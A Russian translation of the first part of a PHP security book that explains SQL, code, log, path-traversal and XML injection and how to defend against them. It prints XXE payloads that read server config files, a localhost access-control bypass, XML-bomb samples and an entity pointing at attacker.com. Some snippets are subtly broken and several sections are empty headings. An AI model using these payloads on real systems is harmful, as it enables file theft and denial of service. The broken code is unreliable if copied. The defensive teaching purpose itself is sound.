Книга «Безопасность в PHP» (часть 1)


В списке десяти наиболее распространённых видов атак по версии OWASP первые два места занимают атаки с внедрением кода и XSS (межсайтовый скриптинг). Они идут рука об руку, потому что XSS, как и ряд других видов нападений, зависит от успешности атак с внедрением. Под этим названием скрывается целый класс атак, в ходе которых в веб-приложение внедряются данные, чтобы заставить его выполнить или интерпретировать вредоносный код так, как это нужно злоумышленнику. К таким атакам относятся, например, XSS, внедрение SQL, внедрение заголовка, внедрение кода и полное раскрытие путей (Full Path Disclosure). И это лишь малая часть.


Атаки с внедрением — страшилка для всех программистов. Они наиболее распространены и успешны за счёт разнообразия, масштабности и (иногда) сложности защиты от них. Всем приложениям нужно брать откуда-то данные. XSS и UI Redress встречаются особенно часто, поэтому я посвятил им отдельные главы и выделил их из общего класса.


OWASP предлагает следующее определение атак с внедрением:


Возможности внедрения — вроде SQL, OS и LDAP — возникают тогда, когда интерпретатор получает ненадёжные данные в виде части командного запроса. Зловредные данные могут обмануть интерпретатор и заставить его выполнить определённые команды или обратиться к неавторизованным данным.


Внедрение SQL


Внедрение SQL — самая распространённая и чрезвычайно опасная форма атак с внедрением. Трудно переоценить серьёзность этой угрозы, поэтому крайне важно понимать, что влияет на успешность атак и как от них защититься.


Итак, данные внедряются в веб-приложение, а затем используются в SQL-запросах. Обычно они попадают из ненадёжных источников ввода, например из веб-форм. Однако внедрение может выполняться и из других мест, скажем, из самой базы данных. Программисты часто верят в полную безопасность своей базы, не осознавая, что если она была безопасна в одном случае, то это совершенно не значит, что она будет безопасна и впредь. Данные из базы должны считаться ненадёжными до тех пор, пока не доказано обратное, т. е. пока они не прошли проверку.


Если атака прошла успешно, злоумышленник может манипулировать SQL-запросом так, чтобы тот выполнял с базой данных операции, которые не предусмотрены разработчиками.


Посмотрите на этот запрос:


$db = new mysqli('localhost', 'username', 'password', 'storedb');
$result = $db->query(
    'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id']
);

Здесь целый ряд косяков. Во-первых, мы не проверяли содержимое POST-данных на предмет корректности user_id. Во-вторых, мы позволяем ненадёжному источнику сообщать нам, какой user_id использовать: атакующий может подсунуть любой корректный user_id. Возможно, он содержался в скрытом поле формы, которую мы считали безопасной, потому что её нельзя редактировать (при этом забыв, что атакующие могут вводить любые данные). В-третьих, мы не заэкранировали user_id и не передали его в запрос в виде параметра (bound parameter), что тоже позволяет атакующему внедрять произвольные строки, которые будут манипулировать SQL-запросом, учитывая, что мы не смогли проверить его в первую очередь.


Это три упущения очень часто встречаются в веб-приложениях.


Что касается доверия к базе данных, то представьте, что мы искали транзакции с помощью поля user_name. Имена имеют широкий охват и могут содержать кавычки. Допустим, атакующий сохранил внедрённое строковое значение в одном из пользовательских имён. Когда мы снова используем это значение в одном из следующих запросов, то оно будет манипулировать строкой запроса, раз мы посчитали базу надёжным источником, не изолировали и не ограничили скомпрометированный запрос.


Также уделяйте внимание другому фактору внедрения SQL: постоянное хранилище не всегда нужно держать на сервере. HTML 5 поддерживает использование БД на стороне клиента, куда можно отправлять запросы с помощью SQL и JavaScript. Для этого есть два API: WebSQL и IndexedDB. В 2010 году W3C не рекомендовал выбирать WebSQL; он поддерживается WebKit-браузерами, использующими SQLite в качестве бэкенда. Скорее всего, поддержка сохранится ради обратной совместимости, даже несмотря на рекомендацию W3C. Как следует из его названия, этот API принимает SQL-запросы, а значит, может быть мишенью атак с внедрением. IndexedDB — это более новая альтернатива, база данных NoSQL (не требует использования SQL-запросов).


Примеры внедрения SQL


Манипулирование SQL-запросами может преследовать такие цели:


  1. Утечки данных.
  2. Раскрытие хранимой информации.
  3. Манипулирование хранимой информацией.
  4. Обход авторизации.
  5. Внедрение SQL на стороне клиента.

Защита от внедрения SQL


Защита от внедрения SQL базируется на принципе эшелонирования. Перед использованием данных в запросе надо проверять, что их форма корректна. Также необходимо изолировать данные до включения в запрос либо включать в виде параметра перехода.


Проверка


Я не устаю повторять: все данные, которые не были явным образом созданы в исходном PHP-коде текущего запроса, ненадёжны. Строго проверяйте их и отклоняйте всё, что не прошло проверок. Не пытайтесь «исправить» данные, можно внести лишь лёгкие, косметические изменения в формат.


К частым ошибкам относится проверка данных для дальнейшего текущего использования (например, для отображения на экране или вычислений) и отсутствие проверки полей базы данных, в которой в результате будет сохранена информация.


Экранирование


С помощью расширения mysqli вы можете изолировать все данные, включённые в SQL-запрос. Это делает функция mysqli_real_escape_string(). Расширение pgsql для PostgresSQL предлагает функции pg_escape_bytea(), pg_escape_identifier(), pg_escape_literal() и pg_escape_string(). В расширении mssql (Microsoft SQL Server) нет изолирующих функций, а подход с применением addslashes() неэффективен — вам понадобится кастомная функция.


Чтобы ещё больше усложнить вам жизнь, скажу, что вы не имеете права на ошибку при изолировании вводимых в запрос данных. Один промах — и вы уязвимы для атаки.


Подведём итог. Экранирование — не лучший вариант защиты. К нему стоит прибегать в крайнем случае. Оно может понадобиться, если используемая вами для абстракции библиотека БД допускает настройку голых SQL-запросов или частей запроса без принудительной привязки параметров. В остальных случаях лучше вообще избегать изолирования. Этот подход сложен, провоцирует ошибки и различается в зависимости от расширения базы данных.


Параметризованные запросы (заранее подготовленные выражения)


Параметризация, или привязка параметров, — это рекомендованный способ создания SQL-запросов. Все хорошие библиотеки БД применяют его по умолчанию. Вот пример использования расширения PDO для PHP:


if(ctype_digit($_POST['id']) && is_int($_POST['id'])) {
    $validatedId = $_POST['id'];
    $pdo = new PDO('mysql:store.db');
    $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id');
    $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT);
    $stmt->execute();
} else {
    // отклонить значение id и сообщить пользователю об ошибке
}

Метод bindParam(), доступный для выражений PDO, позволяет привязывать параметры к «местам для вставки» (placeholders), представленным в заранее подготовленном выражении. Этот метод принимает параметры основных типов данных, например, PDO::PARAM_INT, PDO::PARAM_BOOL, PDO::PARAM_LOB и PDO::PARAM_STR. Для PDO::PARAM_STR это делается по умолчанию, если не задано другое, так что запомните и для других значений!


В отличие от ручного изолирования, привязка параметров (или иной другой метод, используемый вашей библиотекой БД) позволит корректно изолировать автоматически привязываемые данные, так что вам не придётся вспоминать, какую функцию применять. Также согласованная привязка параметров гораздо надёжнее, чем попытка не забыть, что нужно изолировать всё вручную.


Реализация принципа наименьших привилегий


Прервать успешное внедрение SQL не менее важно, чем его полностью предотвратить. Когда атакующий получает возможность выполнять SQL-запросы, то он будет это делать как конкретный пользователь БД. Благодаря принципу наименьших привилегий можно удостовериться, что все пользователи имеют лишь те привилегии, которые абсолютно необходимы для выполнения их задач.


Если у пользователя широкие привилегии, то атакующий может удалять таблицы и менять привилегии других пользователей, выполняя от их имени новые внедрения SQL. Чтобы этого не произошло, никогда не обращайтесь к БД из веб-приложения от лица root’а, администратора или иного пользователя с высокими привилегиями.


Другое применение принципа — разделение ролей чтения и записи данных в базу. Выберите одного пользователя с правами только на запись, а другого — с правами только на чтение. Если атака будет направлена на «читающего» пользователя, то у злоумышленника не получится манипулировать данными в таблице или записывать их. Можно ограничивать доступ в ещё более узких рамках, тем самым уменьшая последствия успешных атак с внедрением SQL.


Многие веб-приложения, особенно с открытым кодом, разработаны так, что в них используется только один пользователь БД, уровень привилегий которого почти наверняка никогда не проверяется. Так что не забывайте об этом моменте и не пытайтесь запускать приложения под администраторским аккаунтом.


Внедрение кода (известно как удалённое включение файла, Remote File Inclusion)


Внедрение кода — это любые способы, которые позволяют атакующему добавлять в веб-приложение исходный код с возможностью его интерпретировать и исполнять. При этом речь не идёт о внедрении кода в клиентскую часть, например в JavaScript, здесь применяются уже XSS-атаки.


Можно внедрить исходный код напрямую из ненадёжного источника входных данных либо заставить веб-приложение загрузить его из локальной файловой системы или внешнего ресурса вроде URL. Когда код внедряется в результате включения внешнего источника, то это обычно называют удалённым включением файла (RFI), хотя само по себе RFI всегда предназначено для внедрения кода.


Основные причины внедрения кода:


  • обход проверки входных данных,
  • внедрение ненадёжных входных данных в любой контекст, где они будут расценены как PHP-код,
  • взлом безопасности репозиториев исходного кода,
  • отключение предупреждений о загрузке сторонних библиотек,
  • переконфигурация сервера, чтобы он передавал в PHP-интерпретатор файлы, не относящиеся к PHP.

Последнему пункту уделяйте особое внимание: в этом случае ненадёжные пользователи могут загрузить на сервер любые файлы.


Примеры внедрения кода


В PHP множество целей для внедрения кода, так что этот тип атак возглавляет список наблюдения у любого программиста.


Включение файла


Самые очевидные цели для внедрения кода — функции include(), include_once(), require() и require_once(). Если ненадёжные входные данные позволят определить передаваемый в эти функции параметр path, то можно будет удалённо управлять выбором файла для включения. Нужно отметить, что включённый файл не обязан быть настоящим PHP-файлом, допускается использование файла любого формата, способного хранить текстовые данные (т. е. почти без ограничений).


Параметр path также может быть уязвим для атак обхода каталога (Directory Traversal) или удалённого включения файла. Использование в path комбинаций символов ../ или… позволяет атакующему переходить почти к любому файлу, к которому имеет доступ PHP-процесс. Заодно в конфигурации PHP по умолчанию вышеприведённые функции принимают URL, если не отключён XXX.


Проверка


Функция PHP eval() принимает к исполнению строку PHP-кода.


Внедрение регулярных выражений


Функция PCRE (регулярное выражение, совместимое с Perl) preg_replace() в PHP допускает использование модификатора e (PREG_REPLACE_EVAL). Это означает замещающую строку, которая после подстановки будет считаться PHP-кодом. И если в этой строке имеются ненадёжные входные данные, то они смогут внедрить исполняемый PHP-код.


Дефектная логика включения файла


Веб-приложения по определению включают в себя файлы, необходимые для обслуживания любых запросов. Если воспользоваться дефектами логики маршрутизации, управления зависимостями, автозагрузки и других процессов, то манипуляция с путём прохождения запроса или его параметрами заставит сервер включить конкретные локальные файлы. Поскольку веб-приложение не рассчитано на обработку таких манипуляций, последствия могут быть непредсказуемыми. Например, приложение невольно засветит маршруты, предназначенные только для использования в командной строке. Или раскроет другие классы, конструкторы которых выполняют задачи (лучше классы так не проектировать, но это всё же встречается). Любой из этих сценариев может помешать операциям бэкенда приложения, что позволит манипулировать данными или провести DOS-атаку на ресурсоёмкие операции, которые не подразумевают прямого доступа.


Задачи внедрения кода


Спектр задач чрезвычайно широк, поскольку этот тип атак позволяет выполнять любой PHP-код на выбор атакующего.


Defenses against Code Injection


Command Injection


Examples of Command Injection


Defenses against Command Injection


Внедрение лога (известно как внедрение лог-файла, Log File Injection)


Многие приложения собирают логи, а авторизованные пользователи часто просматривают их через HTML-интерфейс. Поэтому логи — одна из главных целей злоумышленников, желающих замаскировать другие атаки, обмануть тех, кто просматривает логи, и даже провести затем атаку на пользователей мониторингового приложения, с помощью которого читаются и анализируются логи.


Уязвимость логов зависит от механизмов контроля над записью логов, а также от обращения с данными логов как с ненадёжным источником при просмотре и анализе записей.


Простая система журналирования может записывать в файл текстовые строки с помощью file_put_contents(). Например, программист регистрирует ошибочные попытки авторизации в виде строк следующего формата:


sprintf("Failed login attempt by %s", $username);

А что, если атакующий использует в форме имя «AdminnSuccessful login by Adminn»?


Если эта строка будет вставлена в лог из ненадёжных входных данных, то атакующий успешно замаскирует неудачную попытку авторизации с помощью невинной неудачи ввода админского пароля. Подозрительность данных снизится ещё больше, если добавить успешную попытку авторизации.


Здесь вся суть в том, что атакующий способен добавлять в лог всевозможные записи. Также можно внедрить XSS-вектор и даже символы, затрудняющие чтение в консоли записей лога.


Задачи внедрения лога


Одна из целей внедрения — интерпретаторы формата логов. Если инструмент анализа использует регулярные выражения для парсинга записей в логе, чтобы делить их на части и раскидывать по разным полям, то можно создать и внедрить такую строку, которая заставит регулярные выражения выбирать внедрённые поля вместо правильных. Например, эта запись может стать источником нескольких проблем:


$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009";
sprintf("Failed login attempt by $s at $s", $username, )

Более изощрённые атаки с внедрением логов базируются на атаках с обходом каталога, чтобы отобразить лог в браузере. При подходящих условиях внедрение PHP-кода в сообщение лога и открытие в браузере файла с записями приведёт к успешному внедрению кода, аккуратно форматированного и выполняемого по желанию злоумышленника. А если дойдёт до исполнения на сервере зловредного PHP, то остаётся надеяться лишь на эффективность эшелонирования защиты, которое может уменьшить ущерб.


Защита от внедрения лога


Проще всего фильтровать все внешние сообщения логов с помощью белого списка. Допустим, ограничить набор символов только цифрами, буквами и пробелами. Сообщения, содержащие неразрешённые символы, считаются повреждёнными. Тогда в журнале появляется запись о потенциальной попытке внедрения лог-файла. Это простой способ защиты для простых текстовых логов, когда нельзя избежать включения в сообщения ненадёжных входных данных.


Второй метод защиты — преобразование порций ненадёжных входных данных с помощью системы наподобие base64, которая поддерживает ограниченный набор символов, при этом позволяя хранить в текстовом виде разнообразную информацию.


Обход пути (известен как обход каталога, Directory Traversal)


Атаки с обходом пути — это попытки повлиять на операции чтения или записи файлов в бэкенде веб-приложения. Делается это с помощью внедрения параметров, которые позволяют манипулировать путями файлов, вовлечённых в операции бэкенда. Так что атаки этого типа облегчают раскрытие информации (Information Disclosure) и локальное/удалённое внедрение файлов.


Такие атаки мы рассмотрим отдельно, но в основе их успешности лежит именно обход пути. Поскольку описанные ниже функции характерны именно для манипулирования путями файлов, имеет смысл упомянуть, что многие PHP-функции не принимают пути к файлам в привычном смысле слова. Вместо этого функции наподобие include() или file() принимают URI.


Выглядит совершенно противоестественно. Но это означает эквивалентность двух следующих вызовов функций, которые используют абсолютные пути (например, не полагаясь на автозагрузку относительных путей).


include(‘/var/www/vendor/library/Class.php’); include(‘file:///var/www/vendor/library/Class.php‘);

Дело в том, что относительный путь обрабатывается на стороне (настройка include_path в php.ini и доступных автозагрузчиках). В таких случаях PHP-функции особенно уязвимы для многих форм манипуляций с параметрами, включая подмену схемы URI файла (File URI Scheme Substitution), когда атакующий может внедрить HTTP или FTP URI, если в начало пути файла внедрены ненадёжные данные. Подробнее об этом мы поговорим в разделе, посвящённом атакам с удалённым включением файлов, а пока сосредоточимся на обходах путей файловых систем.


Эта уязвимость подразумевает изменение пути для обращения к другому файлу. Обычно это достигается с помощью внедрения серии последовательностей ../ в аргумент, который затем присоединяется к функциям или целиком вставляется в функции наподобие include(), require(), file_get_contents() и даже менее подозрительные (для кого-то) функции вроде DOMDocument::load().


С помощью последовательности ../ атакующий заставляет систему вернуться в родительский каталог. Так что путь /var/www/public/../vendor на самом деле ведёт в /var/www/public/vendor. Последовательность ../ после /public возвращает нас в родительский каталог, т. е. в /var/www. Таким образом злоумышленник получает доступ к файлам, расположенным вне каталога /public, доступного с веб-сервера.


Конечно, обход пути не ограничивается одним лишь возвратом. Можно внедрить новые элементы пути, чтобы получить доступ к дочерним каталогам, которые недоступны из браузера в связи с настройками ограничений в .htaccess. Операции PHP с файловой системой не волнует конфигурация контроля доступа к непубличным файлам и каталогам на веб-сервере.


Examples of Path Traversal


Defenses against Path Traversal


Внедрение XML


Несмотря на внедрение JSON в качестве облегчённого средства передачи данных между сервером и клиентом, XML остаётся популярной альтернативой, API веб-сервисов зачастую поддерживает её параллельно с JSON. Также XML применяется для обмена данными, использующими XML-схемы: RSS, Atom, SOAP и RDF и т. д.


XML вездесущ: его можно найти в серверах веб-приложений, в браузерах (в качестве предпочтительного формата для запросов и откликов XMLHttpRequest) и браузерных расширениях. Учитывая его распространённость и обработку по умолчанию таким популярным парсером, как libxml2, используемым PHP в DOM и в расширениях SimpleXML и XMLReader, XML стал целью для атак с внедрением. Когда браузер активно участвует в XML-обмене, необходимо учитывать, что посредством XSS авторизованные пользователи могут передавать XML-запросы, созданные на самом деле злоумышленниками.


Внедрение внешней XML-сущности (XXE)


Такие атаки существуют из-за того, что библиотеки парсинга XML часто поддерживают использование ссылок на кастомные сущности. Вы познакомитесь со стандартным XML-дополнением сущностей, его применяют для представления специальных символов разметки наподобие >, < и '. XML позволяет расширять набор стандартных сущностей, определяя посредством самого XML-документа кастомные сущности. Их можно определять, напрямую включая в опциональный DOCTYPE. Представляемое ими расширенное значение может ссылаться на внешний ресурс, который должен быть включён. XXE-атаки стали популярны именно благодаря возможности ординарного XML хранить кастомные ссылки, которые могут увеличиваться за счёт содержимого внешних ресурсов. При обычных условиях ненадёжные входные данные никогда не должны непредвиденным образом взаимодействовать с нашей системой. А большинство программистов XXE почти однозначно не предвидят XXE-атаки, что вызывает особую озабоченность.


Давайте, к примеру, определим новую кастомную сущность harmless:


<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

XML-документ с этим определением теперь может ссылаться на сущность &harmless; везде, где вообще разрешены сущности:


<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
    <result>This result is &harmless;</result>
</results>

Когда XML-парсер вроде PHP DOM будет интерпретировать этот XML, он обработает эту кастомную сущность сразу же, как загрузится документ. Поэтому при запросе соответствующего текста вернёт следующее:


This result is completely harmless


Очевидно, что кастомные сущности имеют преимущество в представлении повторяющегося текста и XML с более короткими именами сущностей. Нередко бывает так, что XML должен следовать определённой грамматике, а кастомные сущности упрощают редактирование. Однако, учитывая наше недоверие к внешним входным данным, необходимо быть очень осторожными со всеми XML, потребляемыми нашим приложением. Например, это вовсе не безопасная разновидность:


<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>

В зависимости от содержимого запрошенного локального файла данные могут использоваться при расширении сущности &harmless;. А потом расширенный контент может быть извлечён из XML-парсера и включён в исходящие данные веб-приложения для анализа атакующим. Например, для раскрытия информации. Извлечённый файл будет интерпретирован как XML, хотя специальных символов, инициирующих такое интерпретирование, нет. Это ограничивает масштаб раскрытия содержимого локального файла. Если файл интерпретирован как XML, но не содержит корректного XML, то наверняка мы получим ошибку, что предотвратит раскрытие содержимого. Однако в PHP доступен аккуратный трюк, позволяющий обойти ограничение масштаба, поэтому удалённые HTTP-запросы влияют на веб-приложение, даже если возвращённый ответ нельзя передать обратно атакующему.


В PHP часто встречаются три метода парсинга и использования XML: PHP DOM, SimpleXML и XMLReader. Все они применяют расширение libxml2, поддержка внешних сущностей включена по умолчанию. Как следствие, в PHP по умолчанию есть уязвимость к XXE-атакам, которую очень легко пропустить при рассмотрении безопасности веб-приложения или библиотеки, использующей XML.


Не забывайте также, что XHTML и HTML 5 могут быть сериализованы как корректный XML. А значит, некоторые XHTML-страницы или XML-сериализованный HTML 5 могут парситься как XML, с использованием DOMDocument::loadXML() вместо DOMDocument::loadHTML(). Такое применение XML-парсера тоже уязвимо к внедрению внешних XML-сущностей. Помните, что libxml2 пока даже не распознаёт HTML 5 DOCTYPE, поэтому не может проверить его как XHTML DOCTYPES.


Примеры внедрения внешних XML-сущностей


Содержимое файла и раскрытие информации


Выше мы рассмотрели пример раскрытия информации, отметив, что кастомная XML-сущность может ссылаться на внешний файл.


<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>

В данном случае кастомная сущность &harmless; будет расширена содержимым файлов. Поскольку все подобные запросы выполняются локально, это позволяет раскрыть содержимое всех файлов, которые может считать приложение. То есть когда расширенная сущность будет включена в исходящие данные приложения, атакующий сможет изучить файлы, находящиеся в закрытом доступе. Правда, в данном случае есть серьёзное ограничение: файлы должны быть либо XML-формата, либо формата, который не приведёт к возникновению ошибки XML-парсера. Но дело в том, что это ограничение можно полностью проигнорировать в PHP:


<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"
    >
]>
<results>
    <result>&harmless;</result>
</results>

PHP даёт доступ к обёртке в виде URI, одного из протоколов, принимаемого стандартными функциями по работе с файловой системой: file_get_contents(), require(), require_once(), file(), copy() и многими другими. Обёртка PHP поддерживает ряд фильтров, которые можно применять к конкретному ресурсу, чтобы результаты возвращались вызовом функции. В приведённом выше примере мы применяем к целевому файлу, который хотим прочесть, фильтр convert.base-64-encode.


Это означает, что атакующий может прочитать любой доступный для PHP файл, независимо от текстового формата. Достаточно просто декодировать исходящие из приложения данные, а потом безнаказанно их препарировать. Хотя это не наносит прямого вреда конечным пользователям или бэкенду приложения, зато позволяет атакующим хорошо изучить структуру приложения в попытке найти иные уязвимости. Причём риск, что атакующих обнаружат, минимален.


Обход контроля доступа


Доступ контролируется разными способами. Поскольку XXE-атаки проводятся на бэкенде веб-приложения, использовать сессию текущего пользователя не получится. Но атакующий всё ещё может обойти контроль доступа к бэкенду с помощью запросов от локального сервера. Рассмотрим такой примитивный контроль доступа:


if (isset($_SERVER['HTTP_CLIENT_IP'])
    || isset($_SERVER['HTTP_X_FORWARDED_FOR'])
    || !in_array(@$_SERVER['REMOTE_ADDR'], array(
        '127.0.0.1',
        '::1',
    ))
) {
    header('HTTP/1.0 403 Forbidden');
    exit(
        'You are not allowed to access this file.'
    );
}

Этот кусок PHP, как и несметное количество ему подобных, ограничивает доступ к определённым PHP-файлам на локальном сервере, т. е. localhost. Однако XXE-атака на фронтенде приложения даёт атакующему точные учётные данные, необходимые для обхода этого контроля доступа, потому что все HTTP-запросы XML-парсера будут делаться из localhost.


<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php"
    >
]>
<results>
    <result>&harmless;</result>
</results>

Даже если бы просмотр логов был ограничен локальными запросами, атакующий всё равно смог бы получить логи. То же самое касается интерфейсов сопровождения или администрирования, доступ к которым ограничен подобным образом.


DOS-атаки


Для DOS-атак можно использовать почти всё, что диктует потребление серверных ресурсов. С помощью внедрения внешней XML-сущности атакующий получает возможность делать произвольные HTTP-запросы, которые при подходящих условиях истощают серверные ресурсы.


Позднее мы поговорим о других потенциальных DOS-применениях XXE-атак с точки зрения расширения XML-сущностей.


Защита от внедрения внешних XML-сущностей


Такие атаки очень популярны, так что вас удивит, как просто от них защититься. Поскольку DOM, SimpleXML и XMLReader опираются на libxml2, можно всего лишь применить функцию libxml_disable_entity_loader(), отключающую использование внешних сущностей. Правда, это не отключит кастомные сущности, заранее определённые в DOCTYPE, потому что они не используют внешние ресурсы, требующие выполнения HTTP-запроса или операции в файловой системе.


$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);

Это нужно сделать для всех операций, подразумевающих загрузку XML из строковых, файлов или удалённых URI.


Там, где приложению никогда не требуются внешние сущности, а также для большинства его запросов можно вообще отключить загрузку внешних ресурсов на более глобальном уровне. В большинстве случаев это куда предпочтительнее для определения всех «точек» загрузки XML, учитывая, что многие библиотеки имеют врождённые уязвимости к XXE-атакам:


libxml_disable_entity_loader(true);

Только не забывайте возвращать значение TRUE после каждого временного включения загрузки внешних ресурсов. Она может понадобиться для таких безобидных задач, как преобразование Docbook XML в HTML, когда применение XSL-стилей зависит от внешних сущностей.


Однако отключающая libxml2 функция — не панацея. Проанализируйте другие расширения и PHP-библиотеки, которые парсят или как-то ещё обрабатывают XML, чтобы найти их «выключатели» применения внешних сущностей.


Если это сделать невозможно, то дополнительно проверьте, объявляет ли XML-документ DOCTYPE. Если да и если при этом внешние сущности отключены, то просто выкиньте XML-документ, запретив ненадёжный XML-доступ к потенциально уязвимому парсеру и журналируя его как вероятную атаку. Это необходимый шаг, потому что других признаков не будет — ни ошибок, ни исключений. Встройте эту проверку в свою обычную валидацию входных данных. Но этот метод далеко не идеален, так что крайне рекомендуется в корне решить проблему внешних сущностей.


/**
 * Attempt a quickie detection
 */
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
    throw new \InvalidArgumentException(
        'Invalid XML: Detected use of illegal DOCTYPE'
    );
}

Также предпочтительно сразу удалять подозрительные данные, которые могут быть результатом атаки. Зачем продолжать работать с чем-то, что выглядит опасным? Так что комбинация из двух вышеописанных мер позволяет заранее игнорировать очевидно вредоносные данные, одновременно защищая себя на случай, если удалить данные не получится (например, если это сторонние библиотеки). Удалять данные приходится и потому, что libxml_disable_entity_loader() отключает не все кастомные сущности, а только те, что ссылаются на внешние ресурсы. Что оставляет возможность атаки с расширением XML-сущности (XML Entity Expansion).


Расширение XML-сущности


Эта атака во многом аналогична атаке с внедрением XML-сущности. Но в данном случае делается акцент на DOS-атаку с попыткой истощить ресурсы серверного окружения целевого приложения. В DOCTYPE XML создаётся определение кастомной сущности, которая, к примеру, может генерировать в памяти XML-структуры гораздо более крупного размера по сравнению с исходной. Это приводит к заполнению памяти и снижению эффективности работы сервера. Такая атака применяется и к XML-сериализации HTML 5 в том случае, если последний не распознан расширением libxml2 как HTML.


Примеры расширения XML-сущности


Есть несколько способов расширить кастомные XML-сущности ради желаемого истощения серверных ресурсов.


Общее расширение сущности


Другое название — «атака квадратичного увеличения». Кастомная сущность определяется в виде очень длинной строки. Если многократно использовать её в документе, то она каждый раз увеличивается, в результате XML-структура потребляет гораздо больше оперативной памяти по сравнению с исходным XML.


<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

Если найти баланс между размером строки кастомной сущности и количеством использования в теле документа, то можно создать такой XML-файл или строку, при расширении которых получится прогнозировать потребление серверной памяти. Если заполнить её такими повторяющимися вопросами, то выйдет настоящая DOS-атака. Недостаток подхода: изначальный XML тоже должен быть довольно большим, потому что потребление памяти зависит от простого эффекта умножения.


Рекурсивное расширение сущности


В то время как общее расширение требует использования изначально большого XML, рекурсивное обеспечивает гораздо более высокий коэффициент увеличения. Этот метод основан на экспоненциальном разложении (resolve) наборов маленьких сущностей таким образом, чтобы они существенно увеличивались в размерах. Вполне логично, что этот метод часто называют XML-бомбой и атакой миллиарда смешков (Billion Laughs Attack).


<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML-бомба не требует большого XML, размер которого иногда может быть ограничен приложением. Атака приводит к тому, что память забивается текстом, чей размер в 2^100 раза превышает размер исходного значения сущности — &x0;. Настоящая БОМБА!


Удалённое расширение сущности


Обе вышеописанные атаки используют локально определённые сущности в XML DTD. Но атакующий способен определить сущность и удалённо, если XML-парсер может делать внешние HTTP-запросы. Как мы видели в описании XXE (внедрения внешней XML-сущности), эту возможность нужно заблокировать в качестве базовой меры защиты. Таким образом, защищаясь от XXE, мы защищаемся и от этого вида атаки.


В любом случае: для этой атаки XML-парсер должен делать внешние HTTP-запросы для извлечения расширенного значения соответствующих сущностей. В свою очередь, они самостоятельно определят новые внешние сущности, к которым парсеру придётся сделать дополнительные HTTP-запросы. Таким образом, парочка безобидно выглядящих запросов быстро выйдет из-под контроля, увеличивая нагрузку на доступные серверные ресурсы, что в результате может привести к рекурсивному расширению сущностей и усугубить ситуацию.


<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

Вышеприведённый код также позволяет провести DOS-атаку более хитрым способом: внешние запросы должны быть адаптированы для локального приложения или любого другого приложения, совместно использующего серверные ресурсы. В результате система будет атаковать сама себя: попытки разложить (resolve) внешние сущности с помощью XML-парсера спровоцируют отправку множества запросов к локальным приложениям и потребление массы серверных ресурсов. Эта атака может использоваться для усиления эффекта XXE-атаки, ради дальнейшего выполнения DOS-атаки.


Защита от расширения XML-сущностей


Методы защиты те же, что и в случае с одиночными XXE-атаками. Нужно отключить разложение (resolution) кастомных XML-сущностей в локальные файлы, а также функции; отключить внешние HTTP-запросы с помощью следующей функции, которая глобально применяется ко всем XML-расширениям PHP, основанным на использовании libxml2.


libxml_disable_entity_loader(true);


Однако в PHP не реализовано очевидное средство полного отключения определения кастомных сущностей с помощью XML DTD посредством DOCTYPE. PHP определяет константу LIBXML_NOENT, также есть публичное свойство DOMDocument::$substituteEntities, но они не улучшают ситуацию. Похоже, придётся использовать собственные наборы обходных средств защиты.


libxml2 обладает врождённой нетерпимостью к рекурсивному разложению сущностей, поэтому ваш лог ошибок разукрасится, как новогодняя ёлка. Поэтому у нас нет особой нужды в реализации специфической защиты от рекурсивных сущностей; хотя нужно что-то сделать на тот случай, если у libxml2 произойдёт рецидив.


Таким образом, первичная новая угроза — это грубые подходы с XML-бомбой или общим расширением сущности. Для этих атак не требуются локальные или удалённые системные вызовы, не нужна рекурсия сущностей. По сути, единственное средство защиты — удаление или очистка XML, если он содержит DOCTYPE. Удалять безопаснее, если нам не нужно использовать DOCTYPE и если мы не получили его из надёжного доверенного источника, т. е. через проверенное HTTPS-соединение. В противном случае требуется создавать самопальную логику, потому что PHP не даёт нам работающей опции для отключения DTD. Если предположить, что вы можете вызвать libxml_disable_entity_loader(TRUE), то следующий код будет безопасен, потому что сущность не расширится, пока нет доступа к заражённому расширением значению узла (node value). А в ходе этой проверки такого не случится.


$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}

